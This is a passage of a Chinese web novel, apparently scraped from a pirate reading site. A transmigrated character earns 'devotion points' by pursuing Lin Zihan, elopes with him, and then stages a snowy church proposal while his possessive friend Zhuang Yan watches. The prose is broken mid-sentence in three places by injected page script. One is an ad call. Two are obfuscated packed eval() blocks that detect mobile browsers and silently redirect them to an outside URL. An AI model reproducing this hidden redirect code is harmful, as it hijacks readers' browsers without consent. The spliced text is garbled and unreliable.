有些人的人生就是可以这么轻而易举,即使举目无亲,也多的是人愿意伸出援手。 而有些人,就算一无所有,还是会有人算计着他最后的价值。 “既然并不起什么作用,为什么还要改呢?” “马术是奥运会上唯一一项男女同台竞技的项目。” 钟情笑道,“你不觉得很神奇吗,即使生理差距不可忽视,他们依然可以出现在同一个赛场,不会产生任何不公平——这个世界生来不平等,却在马背上达成了一种奇异的平衡。” “我妈妈生前的愿望就是跑进奥运会,拿下一枚金牌。她出生在草原,从小最擅长的就是奔跑,她骑着马奔跑时,所有人都追不上她。” 林姿寒微微扬唇:“我想,洛绒女士光着脚奔跑时,应该也没有人能追上她。” 钟情隐隐觉得有些奇怪:“你认识我妈妈?” “我一个平民百姓,怎么会认识豪门夫人呢?”林姿寒淡淡否认,“我也喜欢马术,知道有这么一位女骑师罢了。” 钟情眨眨眼睛:“姿寒会骑马?” 他眼中的期待太浓烈,林姿寒避开眼,却没有拒绝。 他站起身,俯视着赛场:“现在是中场休息时间,钟老板能够说服观众的话,我愿意试试。” 钟情也站起来,任何人想要骑马他都不会拒绝。 “没问题,他们会愿意的。我陪你去选马。” 马房的门还未被拉开,就已经能听到里面阵阵嘶鸣。 林姿寒眼皮微垂,没料到钟情会这么受马群的喜欢。 “它们在欢迎你。” “它们和我在一起的时间比驯马师还长,好多小马都是我亲手喂大的。” 钟情一边解释,一边蹲下抚摸举着尾巴蹭他小腿的猫咪们。 林姿寒静静看着,一种安宁的气氛和干草、皮具的味道一起将他包裹起来。 马匹、猫咪,都是无比敏感的动物,在钟情面前却自在无比。 似乎只要拥有眼睛,一切生物都会情不自禁地爱他。 钟情走到一匹乌黑发亮的高头大马面前,给它喂了根胡萝卜,面对美食黑马却不吃,嘴唇翕动着舔钟情的手。 钟情被它舔得发痒,笑着摸了下马脖子。 他回头看向林姿寒,眼中还有未散去的、在动物面前才有的全然放松的笑意。 “她叫至高无上,别看名字霸道,配合度很高的哦。” 一根胡萝卜赖了好久才肯吃完,钟情终于能腾出手给至高无上绑上马鞍。 他将牵马绳递给林姿寒,问道:“需要先练习一下吗?” 林姿寒已经穿好马裤马靴,闻言翻身上马,睥睨着看向钟情,眼中笑意竟有一丝以前从来不曾出现过的自负。 “不用。” “好吧。”钟情替他紧了下马靴上的绳子,仰头轻声道,“注意安全。” 林姿寒面不改色骑马出门。 钟情的动作无比轻柔,但被他碰过的那只脚直到走出马房,还在微微发麻。 林姿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 寒用尽全力控制马匹的步伐,任何人都看不出他的异样,只有他自己知道此时有多么笨拙窘迫,刚走一小段路,额头上就已经出汗。 就好像第一天学骑马一样。 走到赛场时,秋风一吹,身体的燥热终于消失。 他的马术的确很好,即使多年不骑,依然很是精湛,带着草原上无拘无束狂奔才能练出来的自由感。两圈跑下来,休息中的观众们纷纷叹服地鼓掌,连骑师也在大声叫好。 一片人声鼎沸中,上一场比赛的冠军甚至在他跑过时将手里的花环丢出去欢呼。 三圈后,他策马狂奔跑出围栏,一路来到赛场旁的一小块沙场。 钟情和一些驯马师正坐在那里观赛,叫宝莉的小马在他身边一边打滚一边窝在他怀中吃马舔糖。 林姿寒驭马停下后,驯马师们立刻围上去,双眼放光问他是否需要合作。 林姿寒没有理会他们,骑着马慢慢踱到钟情面前,居高临下看着他。 “怎么样?” “你骑马的样子像我妈妈。” 钟情微笑,眼中有些失神,“你想见见她吗?” 马场后面是一片很大的草场,旁边有一条小河。马场中工作人员常常牵着马来这里放风,空气里漂浮着湿润泥土和新鲜青草的味道。 洛绒草的墓就在这里,相隔不远的地方是钟先生的墓。 不算合葬,但也离得不远。 “洛绒草的意思是智慧海。”钟情蹲下身给墓碑上的刻字描金漆,一边轻声道,“很美的名字不是吗。” “你很想她?” 钟情回头笑笑:“姿寒出国留学,难道不会想妈妈吗?” “我从来没见过她。” “……对不起。” “没事,没见过的人,即使抛弃我,我也不会感到遗憾。” 林姿寒也蹲下来,平视着另一块墓碑上的名字,“可钟先生和你一起生活了十年,他抛下你为爱殉情,你不会怨恨吗?” 钟情小心翼翼地描着字,轻轻摇头。 他语气温和,一如既往地轻快自然:“他并没有抛弃我。他和洛绒女士一样,都是病逝。洛绒女士是因为胃癌,他是因为抑郁症。” 他回头微笑,“不能因为抑郁症是精神疾病,就将它造成的死亡简单地归类于寻死自杀吧。” 他只看了一眼就重新转过头去,继续专心致志地一遍遍补描金漆。 林姿寒静静看着他的动作。 周围安静无比,只有风吹过草尖的沙沙声,和小马宝莉咀嚼草叶的嚓嚓声。 无垠的静谧仿佛一个梦境,眼前的人仿佛也是梦中人。怎么会不是梦呢?爱得至死不渝的父母,宽容释然的孩子,多么完美的一家三口,即使病痛和死亡也无法摧毁这种完美,一种只有在童话和梦境中才能出现的完美。 林姿寒心中有两种情绪纠缠不休。 一种是缠绵的困倦,让他只想沉浸在这和睦的景象里,靠着偷窃他人的幸福满足自我;一种加倍的嫉恨,质疑这样柔软平和的灵魂,究竟是生来就有,还是金钱富养。 分裂的情绪撕扯着他的血肉心脏。最后,他平静地起身,朝钟情伸手。 “有些冷了,我们回家吧。” * 在粒子海洋里沉浸了一天,即使分手各回各家,钟情还是感到无比的舒适。 一夜好梦,醒来后,昨晚睡前喝的牛奶开始作祟,钟情难得早起,直奔卫生间。 里面已经有人了。 钟情敲了敲门,传出庄严的声音:“马上就好。” 钟情叹了口气,挂在门把手上做作地抱怨:“也不知道是谁,从小算无遗策,结果家里装修的时候,居然忘了多~修~一~个~卫~生~间——” 庄严:“……” “庄严,你昨天不去马场真是太可惜了。你都不知道,姿寒在马上的样子有多么英姿飒爽,你看了一定也会佩服他……” 庄严:“……”又来了。 他自动过滤掉钟情那些夸张的溢美之词,捏住搭扣准备系皮带,有一句话却穿过耳膜,令他当场愣在原地。 “……我跟你说,我还带他去看了妈妈……” 唠唠絮絮的声音消失不见,庄严脑子里全被这句话占满。金属落地发出“叮”一声响,庄严回神,看见皮带上的金属扣已经被扯断。 外面钟情靠在门上,曲起手指又敲了下门:“好了没有啊?” 话音刚落,门被瞬间拉开。 钟情重心不稳,向后倒进庄严怀中。他回过身,一句话还没来得及说就尖叫一声捂住眼睛。 “庄严!就算我催你催得是急了点,你也不至于裤子都不穿好就出来吧!” 庄严冷笑一声,向前走了一步。 “怕看这个?” 他按住钟情的肩不让他有机会跑掉。 “不是喜欢男人吗?怕看这个,怎么能行?” 45.第十五章 钟情死死捂着眼睛。 身后庄严握住他的手往下拉,钟情实在比不上他的力气,又生怕玷污主角攻的清白,只能喊道:“我不是同性恋!” 庄严手一顿。 “我只是喜欢姿寒罢了。不管他是男是女,我都喜欢他。这是真爱,懂吗庄严!” 庄严手中力道微松。 钟情赶紧挣扎,混乱中撞上庄严的身体,感受到非常有存在感的某物,瞬间一动也不敢动。 “庄严,有话好好说。咱们是文明人,怎么能一言不合就遛鸟呢?” 庄严意味不明地一笑,在他耳畔低声:“你似乎忘了,我是从深山里走出来的人。” 钟情一愣。 庄严对自己的过去向来讳莫如深,连钟情都知之甚少。除了那次踏青在水库边上提过几句,庄严从没主动谈起过自己的身世。他从小就对这个话题很敏感,别的小孩若是嘲笑他的乡音就会挨他的揍,而他呢,为了掩饰乡音,甚至可以做到整整一个月不开口说话。 看来他心情现在真的很不好。 难道他就这么讨厌同性恋? 可是不应该啊,按照剧情他不是直男啊? 庄严却不再说什么,松了手,越过钟情,回到卧室,打开衣柜门挑选新的皮带。 再回头时,看见钟情还傻傻站在原地。他开口,用着商量的语气,眼中却是不容拒绝的固执。 “快实习了,来公司帮我的忙吧。” * “姿寒,实在抱歉啊,这个项目实习的人数够多了,我们现在已经不招人了,你再看看别的吧。” “好的,师兄,谢谢你。” 挂断电话,林姿寒拿着笔在纸上划了一道。 纸上写着几个近期最受瞩目的本地建筑项目,被浓黑的墨迹一一划去。最后一笔有些用力,微微划破纸张,在下一页上也留下污迹。 林姿寒按捺着呼吸,旋上笔帽。 短短几天,之前对他有意向的本地单位甚至邻市单位全都已经找到足够多的、合适的人。 他不相信世上有这么巧的事,显然是他的存在终于触怒了某人,终于开始不择手段也要将他赶走。 若他去了外地,三个月的实习期后,钟情或许早就忘了他是谁。 林姿寒又拿起手机,按出一串数字后,却迟迟没有按下拨通键。 庄严能找人把他逼走,他自然也能找人让自己留下,并且那个人还会相当乐意帮他这个小忙。只是…… 他本就不该和钟情牵扯太深。 来这里的原意只是想拿回他应有的东西,可他竟然渐渐陷在这场感情游戏里无法自拔。 或许是钟情的甜言蜜语让人无法抵挡,或许是庄严的嫉妒和怒火让人幸灾乐祸,他明知自己绝不会回应,却放纵自己和钟情的相处,做着曾经他最憎恶的事情——玩弄别人的感情。 拨号界面的数字一个个删掉,林姿寒放下手机,视线回到简历上,重新润色后,将它投到一个遥远的城市里去。 实习开始的前两天,他买了飞机票准备先过去安顿下来。 林姿寒只带了一个行李箱,这点东西对他来说已经够用。订的车不知为何一直没来,已经到了初冬,凌晨的风吹着有些凛冽。 他竖起外套领子,拉链头拉到最上端后顺势含进嘴里。这是草原人越冬时常有的习惯,尽管他时常注意,不经意时还是会偶尔冒出来。 反正也要离开这座繁华的城市了,他懒得去管,双手插袋原地跳了两下活动腿脚。 远处有一辆迈巴赫呼啸而来,林姿寒原以为它只是路过,没想到竟然在他面前停下。 车窗拉下,露出钟情微笑的脸孔。 “快上车!” 坐上车后,林姿寒才发现钟情只穿着一件单薄的睡衣。刚刚开门时寒风冲散车里的暖气,他冷得只搓手。 林姿寒脱下外套裹在钟情身上,皱眉问:“你怎么来了?” 钟情一踩油门冲出去,在疾驰中快速转头朝他一笑。 “带你私奔啊!” 没开玩笑,钟情这会儿的确是私奔。 自从被庄严拉了寒假壮丁后,他像是又回到庄严刚回国那段日子。 每天都要跟着庄严去公司,别人是朝九晚五,他倒好,居然是朝八晚十一。他一天的工作由清晨为庄严挑一根领带开始,到晚上为庄严解下那根领带结束,期间还要为他端茶送水。 而且,庄严竟然把他的办公桌安排在同一间办公室里,在这种监视下,为了深情人设,他甚至不能和公司里小姐姐有什么亲密举止。虽说工作清闲,但每当他想要出去偷个懒时,庄严就开始要咖啡,咖啡豆还得现场手磨,没有半个小时泡不出来。 最丧心病狂的是咖啡机也在庄严办公室。 钟情简直恨死他身边那些僵硬的粒子了。 简直就是个大木头!大直男! 也不怕晚上睡不着! 他也想过干脆偷偷溜出去,但系统几番阻拦。 【菜精,我昨天回局里开会,顺便让技术部帮我更新了一下插件。这个位面需要刷深情积分值,有这个插件就可以看到积分的动势了。我建议你继续留在庄严身边卖人设,根据动态图,你在他面前刷分的时候涨得最快。】 钟情一看那图,发现确实是。 别人都是一分一分往上涨,庄严却是成百上千往上涨。 真不愧是主角,哪方面都是特别的存在。 钟情连着刷了半个月分,快到下一个剧情点的时候,终于可以正大光明向系统申请离开这里。 根据剧本,在漫长的追求戏份后,他和林姿寒之间便只剩下两个剧情点——一个是他死皮赖脸拉着林姿寒旅游,另一个是旅游回来后他死皮赖脸向林姿寒求婚。 剧情里只说深情男配死缠烂打和主角受一起到外省旅游,正好林姿寒的实习城市就在外省,这不是打瞌睡就送来枕头么! 到了不得不跑的时候,有上次的教训,钟情知道庄严此刻可能已经布下天罗地网。 他没有着急,特意等到林姿寒订好航 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13300175|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班后,才暗中开始行动。 一切准备工作做好后,他昨晚故意要求和庄严像小时候那样一起睡,抱着枕头就钻到庄严被窝里。 等到凌晨时分庄严睡得正香时,他小心翼翼揣上庄严手机,偷偷溜出房间,剪断座机线,重置大门密码锁,最后扬长而去。 庄严的手机和大门新密码会在他们坐上飞机前一刻由马场的兄弟带回去给陈助理,就算陈特助反应再快,也不可能在那时追过来将飞机拦下。 这是他第一次骗过庄严,钟情没忍住向林姿寒炫耀:“怎么样,我是不是计划通?” 林姿寒微微一笑。如果钟情够了解他,就会分辨出这个微笑不再是之前那些出于礼节性的、冷冰冰的微笑。 “很聪明。”他说,又问,“我的航班信息也是你自己查出来的?” “那倒不是,马场帮了我很大的忙。”钟情朝他眨了下眼睛,“我只负责骗过庄严。” 听到“马场”二字时林姿寒眸光一闪,脸上的笑意也淡下来。短暂沉默后,他像是将那些复杂的思绪都抛之脑后,依然是那样真心实意地笑起来。 “那你也很聪明了。” 飞机起飞半小时后,包裹已经送到陈特助手中。 此时还不到七点,他开门时尚带着几分被困意。认出来人是马场里最受钟情信任的一位工作人员后,困意烟消云散,他急忙戴上眼镜,打开这份钟小少爷亲口交代由他启封的包裹。 看见里面的东西和一张便签后,陈特助深吸一口冷气,大惊失色看向来人。 来人朝他点点头,心中猜想被验证,他大叫一声完蛋,赶紧驱车赶往两位少爷同住的那所公寓。 抖着手输入密码把门打开后,陈特助有一瞬间都不敢睁眼,生怕看见眼见一片狼藉,和站在废墟中他暴怒的大老板。 但出乎意料的是,所有家具都完好无缺,大老板正坐在落地窗前,俯瞰着这座还未完全苏醒的城市。 令人窒息地静谧中,陈特助硬着头皮开口。 “庄总,钟小少爷的机票是通过马场工作人员拜托一位客户订的,转了两道手,我们的人没有注意到。他的车是上次去庄家向严老夫人借的车,说是玩玩就还回去,所以我们没给安定位。还有……林姿寒也在那趟航班上,他们是邻座。” 他轻手轻脚将包裹里的手机放到庄严身边的小几上,深深地鞠了一躬。 “这件事是我们的疏忽,实在很抱歉。” “不是你们的错。”庄严终于回头看了他一眼,眼中布满血丝,却毫无戾气,不知是终于看淡,还是已经麻木。 “回去吧,这段时间辛苦你们了。” 陈特助讷讷应了声好。 他忙不迭走出房间,关门时没忍住又看了窗边的人一眼。那个人仍旧一动不动地坐在那里,就像一尊石雕,在等一个永远不会回来的人。 有一个念头从脑海中一闪而逝,他突然想起来,他刚刚听见的庄总的声音似乎格外嘶哑,就像是…… 一个熬了一整夜的人。 46.第十六章 林姿寒是一个做事极有条理的人,上飞机之前就已经做好一切准备,一下飞机就带着钟情去到之前租好的房子里。 房子不大不小,住一个人绰绰有余,两个人虽说有些拥挤,但也能凑合。 钟情对未来三个月生活的地方很满意,林姿寒却给他破了盆冷水。 “住几天就回去吧。这边的冬天会很冷。” 钟情在沙发上翘着脚打开电视,一边笑道:“两个人私奔出来,自然也要两个人一起回去。” 开玩笑,林姿寒现在可是他的救命药。 “钟情,你带钱了吗?” “没带。”钟情回答得非常理直气壮。 “所以……你要我养你吗?” 林姿寒稍稍靠在门框上,垂眸看过来,很随意的样子,“钟情,你是我什么人呢?” 即使迎着这样稍嫌轻视的目光,钟情依然面带微笑。浓郁的粒子将他紧紧包裹着,在这种仿佛身处天堂的幸福感之中,他可以保持绝对的理智和宽容。 他一眼就看穿林姿寒的用意。 “你想逼我回去?” 林姿寒睫毛颤了一下。 钟情换上可怜兮兮的表情:“你就收留我三个月吧林同学。我很有用的,这里的冬天这么冷,我可以帮你暖床呀。” 林姿寒像是被呛到似的轻咳一声:“我不需要人暖床。” “那你需要什么服务呢?” “做饭,打扫卫生。你会吗?” “不会。但是我会点外卖,至于打扫卫生……”钟情环视着他身处的这间一室一厅。 “怎么,觉得房子小就不需要打扫了吗?”林姿寒低低笑起来,“还真是何不食肉糜呢。” “你生气了吗?” 林姿寒摇头。 如果换成别人说这句话,他或许会生气,但钟情那双眼睛黑白分明,只有坦荡的疑惑,只会让人心生怜惜。 这大概就是美丽的特权。 林姿寒厌恶一切特权。 钟情笑盈盈道:“你说的这些我都可以学,只要……你不怕我炸了你的厨房。” “钟情。”林姿寒微微闭眼,“你现在回去还来得及。向庄严道歉,他会原谅你。” “我不。” 钟情超自信地想,他就是过个十年再回去,还不给道歉,庄严也会原谅他。 林姿寒终于有些无可奈何,他走到钟情面前,曲起手指轻轻挑起钟情的下巴。 他冷淡地说:“那你就别后悔。” 钟情握住他的手:“真的不需要暖床服务吗?” “……” 林姿寒收回手,调整了一下呼吸,然后似笑非笑地看向钟情,“你会吗?” 钟情默然,他确实对做攻这方面知之甚少。 但没吃过猪肉还没见过猪跑吗?! “会啊。” 林姿寒的眸色一下子变得深沉起来,仿佛流动着某种异样的情绪。 “钟情。” 他看着面前人毫无所觉的眼睛,声音喑哑。 “别在男人面前说这种话。” * 剧本上并未规定旅游地点,钟情可以随意发挥。 他第一眼看到飞机票上的城市名字时,就已经想好出游的地点。 说来也巧,林姿寒的实习单位就在庄严带着全班一起踏青的那座城市。 钟情为林姿寒做了整整一个月的饭,终于等到一个不用加班的周末。于是抓紧机会,在周六的午后,一手牵着林姿寒,一手牵着刚托运过来的小马宝莉,旧地重游。 湖泊沉静得像一块碧玉,周围的草木历经三季,不复往日的繁茂,像被冷空气冻住了似的,剑一样直直插在泥土里。小马似乎还记得这里,兴奋地打了个响鼻,一点也不嫌弃这些老去的草叶,大口咀嚼起来。 它已经长高很多,不会再被淹没在草丛之中。 “庄严说,这里以前是一个很大的村庄,修建成水库后,当地的居民迁走,只有他爷爷不肯走,一个人在水库边上住到离世。” “……他是山民?” “完全看不出来是不是?”钟情笑道,“他其实很介意这一点,只是从来不说,我也不知道该怎么开解他。” “姿寒,如果以后你真的成了一位大建筑师,能设计出一种两全其美的水库吗?既不影响水库的建设,也不必让周围的居民们背井离乡?” “异想天开。” 钟情淡笑:“好吧。” 他突然开始脱外套,林姿寒眼皮一跳,按住他的手,拧眉问:“你做什么?” “什么做什么?”钟情垂眼看看他们两人的姿势,恍然大悟,“放心,不是你想的那种少儿不宜的事。小宝莉还在呢。” 他挣开林姿寒的手,脱下沉重的外套后,再脱下短靴,卷起裤腿,一步步朝湖水里走去。 他弯着腰,似乎在水中寻找着什么。 林姿寒眼看他越走越远,心中不安:“钟情,回来。” “没事,我不冷。” 钟情一挥手,继续在水中摸索着。有很大的鱼从他腿边慢悠悠滑过,待去捉的时候,又一摆尾巴飞快地游走。 钟情顺着大鱼消失的方向看去,鱼没看到,倒是看到了他要找的东西。 “我找到了!” 他高高举起手里的东西,快步走回岸边。 那是一片碎瓷,还在滴水,反射着凛冽的天光。 林姿寒一怔,匆促从背包中拿出他最常用的那个陶瓷杯,再看看那片碎瓷——花纹一模一样,都是一个生着鹿角的马头。 钟情也凑过来和他一起看杯子。 “神奇吧,这片湖泊之下居然会有这么美丽的瓷片。” “你怎么会知道……” “之前悦悦在这里落水,我救她上来的时候,在水底见到过它。其实这底下还有很多瓷片,都很漂亮,只有这一枚让我印象深刻。第一次看到你的杯子时,立刻就想起来了。” 有风吹来,钟情冷得浑身一颤。 林姿寒回神,不再管手里的瓷片,替他穿上外套。 钟情一边享受林姿寒的服侍,一边问:“像这样的图腾一般都带有民族属性,姿寒也来自这附近的山区吗?” 林姿寒手一顿,摇头:“我来自草原。”稍后又补道,“我是牧民的儿子。” “那就奇怪了。” 钟情没纠结太久,回头笑道,“牧民的儿子?那可太酷了,我也好想在大草原上当牧民,建一个超大马场,把我的马儿全都带过去兜风。” 林姿寒静静听着,心中又重复了一遍:异想天开。 出生优渥的人总有这么多天真的想法,幻想着草原上的星星和野花,他们不知道,那里最多的是风霜与豺狼。 他没有说出那些阴郁的想法,只是道:“你连马都不会骑。” 钟情笑笑,没有反驳。 身后传来草叶翕动的声音,他以为是小马宝莉,回头一看,发现是一个还没有小马高的小女孩。 她拎着一双小鞋子,高高碰到钟情面前:“哥哥没有鞋子穿,顺顺把鞋子给哥哥穿。” 林姿寒低头去看钟情的脚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13313889|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然是还没穿鞋,脚背上还沾着湖底的泥沙,破坏了那丝缎一般的纯白,脚趾冻得微微泛红。 他正要说什么,就见钟情笑着一把将小女孩抱起来。 “幸好有顺顺的鞋子,哥哥现在不冷了。谢谢顺顺呀。” 他将只穿着一双白袜的小女孩抱到小马背上,温声道,“顺顺怎么一个人在这里呢?我送你回家吧。” 于是顺顺很高兴地和这个漂亮的大哥哥说起话来。 林姿寒沉默地跟在他们身后。 他知道钟情有多么宝贝那匹小马。 那是一匹阿哈尔捷金马,更广为人知的名字是汗血马。浑身皮毛雪白,泛着一层金属一样的光泽,奔跑起来时,那一层雪白的皮毛在血液循环下就会变成粉红色。 所以钟情给它取名宝莉。 他甚至担心金属和皮革制成的马笼头会冻坏它的皮肤,特意让人定制了一副毛绒的笼头。 但现在,一个陌生的小女孩轻易就骑上了这匹珍贵的小马。她根本没意识到钟情根本穿不上她那双小鞋,而钟情为了哄她高兴,不拒绝她的帮助,却将她抱上马,不让她碰到冰冷的地面。 真是个傻子,只需要一点毫无用处的善意,就可以从他那里换来根本不对价的报答。 小女孩的家在山脚一处村庄里,父母外出打工,家中有两位老人。 老人很热心,一定要留下钟情一起吃顿饭。食物是土豆,变着花样做了一桌,可依然还是土豆。 林姿寒都吃得有些乏味,钟情却毫不嫌弃。 他兴致勃勃拉着老人问当地的方言,两位老人很长时间不曾见客,一下子将他引为知己,一句一句地教他发音。 天色将晚,他们告辞离开。 回程的路上,林姿寒一言不发。钟情终于注意到他的异样,连忙关切地问他怎么了。 林姿寒还是不说话。 他原本是温文尔雅的长相,甚至还有一丝阴柔。但经历钟情整整一个月的白人饭喂养后,他肉眼可见地消瘦下来。脸部的骨相变得更分明,那一丝阴柔尚在,但不复原来温和,增添了几分凌厉的异族感。 林姿寒这一沉默就沉默到两个月后他们再次坐飞机回程。 钟情也不知道自己究竟是哪里惹到他了,两个月里林姿寒总是冷冷的模样,像是又回到他们刚认识的那一天。 不过他也不在意。 旅游的剧情点已经刷完,此行目的达成,接下来就剩求婚了。 下了飞机,林姿寒招呼也没打一声就消失在人海之中。 钟情不慌不忙,趁他的粒子还没有完全离开自己的身体,无病无痛吃喝玩乐三天后,才去首饰店现买了一枚钻戒。 正逢这个位面钟情生日,他一大早就来到一个小教堂,打算就在这儿向林姿寒求婚。 这个小教堂就在马场不远处,他和庄严以前来过。 他们两人都不信教,但严奶奶是归国华侨,信奉基督,教导庄严礼仪的时候也要求他每周去教堂礼拜。 这间小教堂只有一位神父,平时来这里的人也很少,没太多规矩,做礼拜时稍微应付一下就可以交差,算是他和庄严的秘密基地。 今天下雪,神父不在,教堂里空无一人。 钟情在这间简陋得四面漏风的教堂里给林姿寒打了个电话。 电话响了很久才接,“喂。” “姿寒。”钟情照着剧本念,“我有话对你说。你可以来一下城东的圣路易教堂吗?” 那边传来嘶嘶的电流声,像是信号不好。 “我来不了,钟情。” 47.第十七章 钟情微微一笑,他就知道会是这个回答。 他没有问林姿寒为什么来不了,这不重要。 他直接道:“可是我要说的事真的很重要。我会在这里等你的,直到你来为止。” 说罢,不等林姿寒回应,他挂断电话,长长出了一口气。 【总算把我这边的剧情走完了,接下来就看两位主角的了。】钟情站起来,双手合十,朝神像毕恭毕敬鞠了个躬,【希望神明保佑他们俩早日坠入爱河,从此夫夫恩爱,白首不离。】 【别高兴太早。你还有深情分没刷完呢。】系统闲闲道。 【我这不是在刷么。】 所以他特意挑个雪天到这破房子里求婚,就是为了给他的等待创造痛苦,让他的深情显得更浓烈。 从电话挂断的那一刻开始,他就已经能听到积分机制的提示音滴滴作响。 就是响得有点慢。 【还差多少?】 【一千。】 钟情心里算了一下,照现在这个速度,在这里等上个一天一夜,应该就差不多满了。 还好他早有准备,来时带够了食物和水。 他掏出一罐荔枝味的酒精饮料,拉开后喝了一口。冰凉的酒液咽下喉咙,牵连起的却是蔓延至全身的暖意。他没忍住,又喝了一口。 系统提醒道:【少喝点,小心醉了。这里估计几天都不会有人来,万一睡着冻死在这里,都没人来给你收尸。】 【果酒而已,醉不了。再说,你不是能看到我的身体数据吗?我快醉了就提醒我一下。】 【行吧。】 钟情又喝了一口酒。 今天实在太冷,这教堂又恰好处在风口,四面八方全是风,室内反倒比室外还冷。 他拿着酒瓶坐在教堂门边的台阶上,看着门外大雪纷纷扬扬。 他已经许久没见过林姿寒了,皮肤又开始泛起熟悉的疼痛。寒冷可以镇痛,但寒冷带来的又是另一种难受,所以又不得不靠喝酒取暖。 钟情不得不承认:【我觉得我大概是等不了一天一夜了。白天都已经这么冷了,晚上还不得把我冻成冰雕?】 系统想了想:【你可以把庄严叫过来。你只要在他面前哭一哭林姿寒对你的薄情,竟然把你丢在这里不闻不问,就可以轻松拿下一千分。】 【好办法。但如果他还没原谅我之前骗他,见到我之后先揍我一顿怎么办?】 【……】 钟情毫不在意地摆摆手:【没关系。反正剧情也要结束了,就算他真的揍我一顿,我也认了。】 说罢他立刻掏出手机,回头随便对着教堂一角拍了张照,就给庄严发过去。 他连电话都懒得打,知道庄严能认出这个幼时的秘密基地,也知道他一定会来。 人设机制滴个不停,钟情额头隐隐作痛。疼痛把他又重新拖回没找到解药之前那种总是很烦躁的状态。 他揉了揉太阳穴。 【我说统子,你就不能把提示音调成静音模式吗?它滴得我头疼。】 【我刚好要跟你说这件事。这个积分机制是没有静音选项的,不过我昨天向局里投诉了,现在分配者让我回局里一趟下载补丁。你觉得我什么时候去比较合适?】 钟情疼得生无可恋,一边喝酒一边道:【你现在就去。】 【那行。下个补丁要不了多长的时间,最多十分钟我就回来。】 钟情点头。 系统不再出声,应该已经离开了。 钟情坐在原地等了又等,不知等了多久,一罐酒快见底的时候,他在纯白的雪地上看见一个小黑点。 小黑点越来越大,越来越长,越来越近。 是庄严。 他果然来了。 钟情灌下一大口酒,朝庄严挥手,衣角摆动下,露出戒指盒的一角。 庄严在他面前停下脚步。 鲜红的戒指盒刺痛了他的眼睛,他却不躲不避,固执地看着那个让他心痛的东西。 “你要向他求婚?” 钟情微笑,笑容中却难掩忧伤:“是啊。” “他人吗?” 钟情不语。 “跟我回去。”庄严声音里有深深的疲倦,仿佛已经很久没有睡过一个好觉,“他不会来的。” 钟情沉默片刻,然后抬头轻声道:“他会来的。”这话说的毫无底气,刚出口就被风吹散了。 庄严在他身边坐下。 久别重逢,他没有因为钟情过去的欺骗责怪他,也没有因为钟情现在的窘境嘲笑他。 他看着钟情,视线宛如实质,一点点扫过那张令他魂牵梦萦的脸孔。若是钟情此时抬头,或许就能看清他眼底那令人胆寒的思念和爱慕,但钟情沉浸在自己的情绪中,自始至终不曾看过他一眼。 庄严打开一罐酒,喝了一口。入口是甜滋滋的水果甜味,酒精度数很低,是钟情会喜欢的味道,但对庄严而言毫无作用。 既无法让他看淡超脱,也不能让他失去理智,只好继续无比清醒地面对这个残忍的事实。 他也打开一罐酒,陪钟情喝起来。 他们一起等了许久,久到大雪将庄严来时的脚印全部盖住,天地间一片纯白,仿佛只剩下他们两人。 庄严再次开口:“钟情,跟我回去。” 钟情张了张嘴,却说不出留下的理由。 他沉默片刻,自欺欺人道:“他不知道我要求婚。就算他真的不来,也一定是因为有什么事情耽搁了。” “他在国外留学的时候参加过基督徒的集会,你觉得他会不知道教堂意味着什么吗?” “庄严!”钟情忍无可忍,“你一定要这样羞辱我吗!” 庄严不语,只是静静看着他。门外大雪纷飞,他的视线也像是被冻住了,带着慑人的逼迫。 对视三秒,钟情垂眸,避开他的视线。 酒精让他的思绪有些迟钝,不太能分得清庄严此时到底在生气什么。 气他对林姿寒死缠烂打? 还是气他为了林姿寒自轻自贱? 可是庄严向来不喜欢他的浪子多情,现在看到他遭到报应,不该开心才对吗? 身上越发冷了,也越发疼了。 钟情有点受不了,想着速战速决,可系统还没回来,看不到积分面板,庄严脸上又一片淡漠,完全看不出到底被他的深情感化了几分。 积分多得少不得,钟情决定来波大的。 他都不需要演,一想到这么冷的天气他不是在暖气下躺着打游戏,而是在冰天雪地里受罪,眼眶自然便红了。 他吸了下鼻子,像是终于崩溃了一样,在一片寂静中,带着哭腔开口:“你说得对,庄严。他不会来了。” 庄严呼吸一紧,他从小就怕看钟情的眼泪,现在仍是如此。 他伸手轻轻拂去那滴泪水,感觉到指尖的水意冷得像冰。 “庄严你知道吗,我给姿寒做了三个月的饭,帮他打扫了三个月的卫生。”钟情露出食指上的一道浅浅的疤,“你看,我还割破了手。我甚至都没给你做过饭。” 庄严无言地握住他的手,那道疤仿佛也落到他心上,滋生出蛛网一样的裂纹。他喃喃道:“我真不该放你走的。” 风声掩盖了他的话,钟情没有听见。 庄严的掌心干燥温暖,他没忍住在庄严手里轻轻蹭了一下。 庄严心中像是被小猫爪挠了一下。他心软了:“要我帮你报复他吗?” “你要帮我?好呀。” 钟情笑起来,脸上还有淡淡的泪痕,“你帮我把姿寒绑过来和我结婚吧。” 庄严眼中墨色瞬间浓郁得像一场风暴、一个旋涡。 “你醉了,钟情。” “我没醉!” 钟情不觉得自己醉了,他只是有点兴奋而已。他拉住庄严的手臂,拔萝卜一样像拉着他站起来。 “走,陪我去把林姿寒绑回来!” 